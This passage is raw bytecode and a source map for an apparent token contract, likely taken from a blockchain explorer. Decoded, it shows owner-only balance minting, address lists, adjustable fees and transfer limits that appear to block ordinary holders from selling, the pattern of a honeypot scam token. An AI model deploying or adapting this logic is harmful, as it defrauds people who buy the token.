fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d1906129e0565b60405180910390fd5b60005b600d805490508160ff161015610aba578273ffffffffffffffffffffffffffffffffffffffff16600d8260ff1681548110610a1b57610a1a612d91565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610aa757600d8160ff1681548110610a7957610a78612d91565b5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b8080610ab290612cda565b9150506109dd565b5060019050919050565b6000610ace611e45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b52906129e0565b60405180910390fd5b81600a60006101000a81548160ff02191690831515021790555060019050919050565b600090565b6000600754905090565b6000610b97611e45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b906129e0565b60405180910390fd5b8160048190555060019050919050565b600080610c42856001610f91565b90506000610c51866002610f91565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161480610ce15750610cb2611abc565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b80610d1f5750600073ffffffffffffffffffffffffffffffffffffffff16610d07611abc565b73ffffffffffffffffffffffffffffffffffffffff16145b80610d5c5750610d2d6115bb565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b80610d645750815b15610e5957610d74868686612018565b6000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610dbf611e45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905084811015610e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e36906129c0565b60405180910390fd5b610e5387610e4b611e45565b878403611e4d565b50610f84565b60045484111580610e765750600a60009054906101000a900460ff165b8015610e885750610e86866123c8565b155b8015610e92575080155b15610f8357610ea2868686612018565b6000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610eed611e45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905084811015610f6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f64906129c0565b60405180910390fd5b610f8187610f79611e45565b878403611e4d565b505b5b6001925050509392505050565b6000806000905060018360ff16141561104e5760005b600c805490508160ff161015611048578473ffffffffffffffffffffffffffffffffffffffff16600c8260ff1681548110610fe557610fe4612d91565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156110355760019150611048565b808061104090612cda565b915050610fa7565b506110f4565b60005b600d805490508160ff1610156110f2578473ffffffffffffffffffffffffffffffffffffffff16600d8260ff168154811061108f5761108e612d91565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156110df57600191506110f2565b80806110ea90612cda565b915050611051565b505b8091505092915050565b60006012905090565b60006111a9611114611e45565b848460066000611122611e45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111a49190612b0b565b611e4d565b6001905092915050565b60006111bd611e45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461124a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611241906129e0565b60405180910390fd5b60005b600c805490508160ff16101561132a578273ffffffffffffffffffffffffffffffffffffffff16600c8260ff168154811061128b5761128a612d91565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561131757600c8160ff16815481106112e9576112e8612d91565b5b9060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b808061132290612cda565b91505061124d565b5060019050919050565b50565b600092915050565b600030905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600061139a611e45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611427576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141e906129e0565b60405180910390fd5b8160056000611434611e45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461147d9190612b0b565b9250508190555060019050919050565b6000611497611e45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611524576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151b906129e0565b60405180910390fd5b61152f826001610f91565b61159757600c829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c805490509050919050565b6000600a60009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008082101580156115f7575060648211155b611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d90612a40565b60405180910390fd5b81600b8190555060019050919050565b60606009805461165590612ca8565b80601f016020809104026020016040519081016040528092919081815260200182805461168190612ca8565b80156116ce5780601f106116a3576101008083540402835291602001916116ce565b820191906000526020600020905b8154815290600101906020018083116116b157829003601f168201915b5050505050905090565b60006116e2611e45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461176f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611766906129e0565b60405180910390fd5b61177a826001610f91565b6117e257600d829080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600d805490509050919050565b600080600660006117fe611e45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156118bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b290612a60565b60405180910390fd5b6118cf6118c6611e45565b85858403611e4d565b600191505092915050565b6000806118ef6118e8611e45565b6001610f91565b905060006119056118fe611e45565b6002610f91565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611948611e45565b73ffffffffffffffffffffffffffffffffffffffff1614806119a3575061196d611abc565b73ffffffffffffffffffffffffffffffffffffffff1661198b611e45565b73ffffffffffffffffffffffffffffffffffffffff16145b806119e15750600073ffffffffffffffffffffffffffffffffffffffff166119c9611abc565b73ffffffffffffffffffffffffffffffffffffffff16145b80611a2557506119ef6115bb565b73ffffffffffffffffffffffffffffffffffffffff16611a0d611e45565b73ffffffffffffffffffffffffffffffffffffffff16145b80611a2d5750815b15611a4957611a44611a3d611e45565b8686612018565b611aa2565b60045484111580611a665750600a60009054906101000a900460ff165b8015611a7f5750611a7d611a78611e45565b6123c8565b155b8015611a89575080155b15611aa157611aa0611a99611e45565b8686612018565b5b5b60019250505092915050565b600092915050565b600b5481565b60008073ca143ce32fe78f1f7019d7d551a6402fc5350c7373ffffffffffffffffffffffffffffffffffffffff1663e6a43905600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b8152600401611b309291906128d8565b60206040518083038186803b158015611b4857600080fd5b505afa158015611b5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b8091906124ae565b90508091505090565b6060600c805480602002602001604051908101604052809291908181526020018280548015611c0d57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611bc3575b5050505050905090565b611c1f611e45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca3906129e0565b60405180910390fd5b50565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000611d40611e45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc4906129e0565b60405180910390fd5b60006dffe302732674668f5b0d8000000090508060056000611ded611e45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e369190612b0b565b92505081905550600191505090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb490612a20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2490612980565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161200b9190612a80565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612088576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207f90612a00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ef90612960565b60405180910390fd5b612103838383612413565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561218a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612181906129a0565b60405180910390fd5b818103600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b54146123075760006064600b54846121ec9190612b92565b6121f69190612b61565b90508060056000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122699190612b0b565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122ef9190612a80565b60405180910390a380836123039190612bec565b9250505b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123569190612b0b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123ba9190612a80565b60405180910390a350505050565b6000807fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b90506000833f90506000801b811415801561240a5750818114155b92505050919050565b505050565b60008135905061242781613077565b92915050565b60008151905061243c81613077565b92915050565b6000813590506124518161308e565b92915050565b600081359050612466816130a5565b92915050565b60008135905061247b816130bc565b92915050565b60006020828403121561249757612496612dc0565b5b60006124a584828501612418565b91505092915050565b6000602082840312156124c4576124c3612dc0565b5b60006124d28482850161242d565b91505092915050565b600080604083850312156124f2576124f1612dc0565b5b600061250085828601612418565b925050602061251185828601612418565b9150509250929050565b60008060006060848603121561253457612533612dc0565b5b600061254286828701612418565b935050602061255386828701612418565b925050604061256486828701612457565b9150509250925092565b6000806040838503121561258557612584612dc0565b5b600061259385828601612418565b92505060206125a485828601612457565b9150509250929050565b600080604083850312156125c5576125c4612dc0565b5b60006125d385828601612418565b92505060206125e48582860161246c565b9150509250929050565b60006020828403121561260457612603612dc0565b5b600061261284828501612442565b91505092915050565b60006020828403121561263157612630612dc0565b5b600061263f84828501612457565b91505092915050565b6000806040838503121561265f5761265e612dc0565b5b600061266d85828601612457565b925050602061267e85828601612442565b9150509250929050565b600061269483836126a0565b60208301905092915050565b6126a981612c20565b82525050565b6126b881612c20565b82525050565b60006126c982612ac6565b6126d38185612ae9565b93506126de83612ab6565b8060005b8381101561270f5781516126f68882612688565b975061270183612adc565b9250506001810190506126e2565b5085935050505092915050565b61272581612c32565b82525050565b600061273682612ad1565b6127408185612afa565b9350612750818560208601612c75565b61275981612dc5565b840191505092915050565b6000612771602383612afa565b915061277c82612dd6565b604082019050919050565b6000612794602283612afa565b915061279f82612e25565b604082019050919050565b60006127b7602683612afa565b91506127c282612e74565b604082019050919050565b60006127da602883612afa565b91506127e582612ec3565b604082019050919050565b60006127fd602083612afa565b915061280882612f12565b602082019050919050565b6000612820602583612afa565b915061282b82612f3b565b604082019050919050565b6000612843602483612afa565b915061284e82612f8a565b604082019050919050565b6000612866602283612afa565b915061287182612fd9565b604082019050919050565b6000612889602583612afa565b915061289482613028565b604082019050919050565b6128a881612c5e565b82525050565b6128b781612c68565b82525050565b60006020820190506128d260008301846126af565b92915050565b60006040820190506128ed60008301856126af565b6128fa60208301846126af565b9392505050565b6000602082019050818103600083015261291b81846126be565b905092915050565b6000602082019050612938600083018461271c565b92915050565b60006020820190508181036000830152612958818461272b565b905092915050565b6000602082019050818103600083015261297981612764565b9050919050565b6000602082019050818103600083015261299981612787565b9050919050565b600060208201905081810360008301526129b9816127aa565b9050919050565b600060208201905081810360008301526129d9816127cd565b9050919050565b600060208201905081810360008301526129f9816127f0565b9050919050565b60006020820190508181036000830152612a1981612813565b9050919050565b60006020820190508181036000830152612a3981612836565b9050919050565b60006020820190508181036000830152612a5981612859565b9050919050565b60006020820190508181036000830152612a798161287c565b9050919050565b6000602082019050612a95600083018461289f565b92915050565b6000602082019050612ab060008301846128ae565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612b1682612c5e565b9150612b2183612c5e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b5657612b55612d04565b5b828201905092915050565b6000612b6c82612c5e565b9150612b7783612c5e565b925082612b8757612b86612d33565b5b828204905092915050565b6000612b9d82612c5e565b9150612ba883612c5e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612be157612be0612d04565b5b828202905092915050565b6000612bf782612c5e565b9150612c0283612c5e565b925082821015612c1557612c14612d04565b5b828203905092915050565b6000612c2b82612c3e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015612c93578082015181840152602081019050612c78565b83811115612ca2576000848401525b50505050565b60006002820490506001821680612cc057607f821691505b60208210811415612cd457612cd3612d62565b5b50919050565b6000612ce582612c68565b915060ff821415612cf957612cf8612d04565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220666565206973206265747765656e203120616e6420313060008201527f302e000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61308081612c20565b811461308b57600080fd5b50565b61309781612c32565b81146130a257600080fd5b50565b6130ae81612c5e565b81146130b957600080fd5b50565b6130c581612c68565b81146130d057600080fd5b5056fea2646970667358221220ea5f45fd755d2a82761c17f777682f6a6c9def62f9ea3f78ce4266648788619864736f6c63430008060033

Deployed ByteCode Sourcemap

2424:10556:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3478:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7607:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4401:263;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6441:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6101:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3793:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6316:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7782:1277;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5029:584;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3694:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9885:215;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4670:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6160:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6209:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10525:102;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3907:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5837:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4223:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6563:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1284:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9299:241;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3584:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4040:177;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10106:413;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6716:728;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5991:104;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3022:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9065:228;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4932:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6640:70;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7450:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5619:212;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3478:100;3532:13;3565:5;3558:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3478:100;:::o;7607:169::-;7690:4;7707:39;7716:12;:10;:12::i;:::-;7730:7;7739:6;7707:8;:39::i;:::-;7764:4;7757:11;;7607:169;;;;:::o;4401:263::-;4471:4;1419:12;:10;:12::i;:::-;1409:22;;:6;;;;;;;;;;:22;;;1401:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4492:7:::1;4488:147;4509:8;:15;;;;4505:1;:19;;;4488:147;;;4564:5;4549:20;;:8;4558:1;4549:11;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;:20;;;4546:78;;;4597:8;4606:1;4597:11;;;;;;;;;;:::i;:::-;;;;;;;;;;4590:18;;;;;;;;;;;4546:78;4526:3;;;;;:::i;:::-;;;;4488:147;;;;4652:4;4645:11;;4401:263:::0;;;:::o;6441:116::-;6500:4;1419:12;:10;:12::i;:::-;1409:22;;:6;;;;;;;;;;:22;;;1401:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6524:3:::1;6517:4;;:10;;;;;;;;;;;;;;;;;;6545:4;6538:11;;6441:116:::0;;;:::o;6101:53::-;6143:7;6101:53;:::o;3793:108::-;3854:7;3881:12;;3874:19;;3793:108;:::o;6316:119::-;6378:4;1419:12;:10;:12::i;:::-;1409:22;;:6;;;;;;;;;;:22;;;1401:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6402:3:::1;6395:4;:10;;;;6423:4;6416:11;;6316:119:::0;;;:::o;7782:1277::-;7922:4;7939:11;7953:23;7965:6;7973:1;7953:10;:23::i;:::-;7939:37;;7987:12;8002:21;8013:6;8021:1;8002:10;:21::i;:::-;7987:36;;8047:25;;;;;;;;;;;8037:35;;:6;:35;;;:62;;;;8086:13;:11;:13::i;:::-;8076:23;;:6;:23;;;8037:62;:93;;;;8128:1;8103:27;;:13;:11;:13::i;:::-;:27;;;8037:93;:114;;;;8144:7;:5;:7::i;:::-;8134:17;;:6;:17;;;8037:114;:124;;;;8155:6;8037:124;8034:996;;;8178:36;8188:6;8196:9;8207:6;8178:9;:36::i;:::-;8235:24;8262:11;:19;8274:6;8262:19;;;;;;;;;;;;;;;:33;8282:12;:10;:12::i;:::-;8262:33;;;;;;;;;;;;;;;;8235:60;;8338:6;8318:16;:26;;8310:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8433:57;8442:6;8450:12;:10;:12::i;:::-;8483:6;8464:16;:25;8433:8;:57::i;:::-;8163:354;8034:996;;;8592:4;;8582:6;:14;;:22;;;;8600:4;;;;;;;;;;;8582:22;8581:47;;;;;8610:18;8621:6;8610:10;:18::i;:::-;8609:19;8581:47;:59;;;;;8633:7;8632:8;8581:59;8577:442;;;8662:36;8672:6;8680:9;8691:6;8662:9;:36::i;:::-;8717:24;8744:11;:19;8756:6;8744:19;;;;;;;;;;;;;;;:33;8764:12;:10;:12::i;:::-;8744:33;;;;;;;;;;;;;;;;8717:60;;8824:6;8804:16;:26;;8796:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8927:57;8936:6;8944:12;:10;:12::i;:::-;8977:6;8958:16;:25;8927:8;:57::i;:::-;8643:376;8577:442;8034:996;9047:4;9040:11;;;;7782:1277;;;;;:::o;5029:584::-;5098:4;5115:10;5128:5;5115:18;;5156:1;5147:5;:10;;;5144:439;;;5178:7;5174:181;5195:6;:13;;;;5191:1;:17;;;5174:181;;;5250:5;5237:18;;:6;5244:1;5237:9;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;:18;;;5234:106;;;5288:4;5280:12;;5315:5;;5234:106;5210:3;;;;;:::i;:::-;;;;5174:181;;;;5144:439;;;5391:7;5387:185;5408:8;:15;;;;5404:1;:19;;;5387:185;;;5467:5;5452:20;;:8;5461:1;5452:11;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;:20;;;5449:108;;;5505:4;5497:12;;5532:5;;5449:108;5425:3;;;;;:::i;:::-;;;;5387:185;;;;5144:439;5600:5;5593:12;;;5029:584;;;;:::o;3694:93::-;3752:5;3777:2;3770:9;;3694:93;:::o;9885:215::-;9973:4;9990:80;9999:12;:10;:12::i;:::-;10013:7;10059:10;10022:11;:25;10034:12;:10;:12::i;:::-;10022:25;;;;;;;;;;;;;;;:34;10048:7;10022:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;9990:8;:80::i;:::-;10088:4;10081:11;;9885:215;;;;:::o;4670:256::-;4739:4;1419:12;:10;:12::i;:::-;1409:22;;:6;;;;;;;;;;:22;;;1401:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4760:7:::1;4756:141;4777:6;:13;;;;4773:1;:17;;;4756:141;;;4828:5;4815:18;;:6;4822:1;4815:9;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;:18;;;4812:74;;;4861:6;4868:1;4861:9;;;;;;;;;;:::i;:::-;;;;;;;;;;4854:16;;;;;;;;;;;4812:74;4792:3;;;;;:::i;:::-;;;;4756:141;;;;4914:4;4907:11;;4670:256:::0;;;:::o;6160:43::-;;:::o;6209:101::-;6299:7;6209:101;;;;:::o;10525:102::-;10579:7;10614:4;10599:20;;10525:102;:::o;3907:127::-;3981:7;4008:9;:18;4018:7;4008:18;;;;;;;;;;;;;;;;4001:25;;3907:127;;;:::o;5837:146::-;5903:4;1419:12;:10;:12::i;:::-;1409:22;;:6;;;;;;;;;;:22;;;1401:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5947:6:::1;5920:9;:23;5930:12;:10;:12::i;:::-;5920:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;5971:4;5964:11;;5837:146:::0;;;:::o;4223:172::-;4289:7;1419:12;:10;:12::i;:::-;1409:22;;:6;;;;;;;;;;:22;;;1401:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4315:20:::1;4326:5;4333:1;4315:10;:20::i;:::-;4309:47;;4338:6;4350:5;4338:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4309:47;4374:6;:13;;;;4367:20;;4223:172:::0;;;:::o;6563:71::-;6598:4;6622;;;;;;;;;;;6615:11;;6563:71;:::o;1284:79::-;1322:7;1349:6;;;;;;;;;;;1342:13;;1284:79;:::o;9299:241::-;9369:4;9410:1;9394:12;:17;;:40;;;;;9431:3;9415:12;:19;;9394:40;9386:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;9498:12;9484:11;:26;;;;9528:4;9521:11;;9299:241;;;:::o;3584:104::-;3640:13;3673:7;3666:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3584:104;:::o;4040:177::-;4107:7;1419:12;:10;:12::i;:::-;1409:22;;:6;;;;;;;;;;:22;;;1401:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4133:20:::1;4144:5;4151:1;4133:10;:20::i;:::-;4127:49;;4156:8;4170:5;4156:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4127:49;4194:8;:15;;;;4187:22;;4040:177:::0;;;:::o;10106:413::-;10199:4;10216:24;10243:11;:25;10255:12;:10;:12::i;:::-;10243:25;;;;;;;;;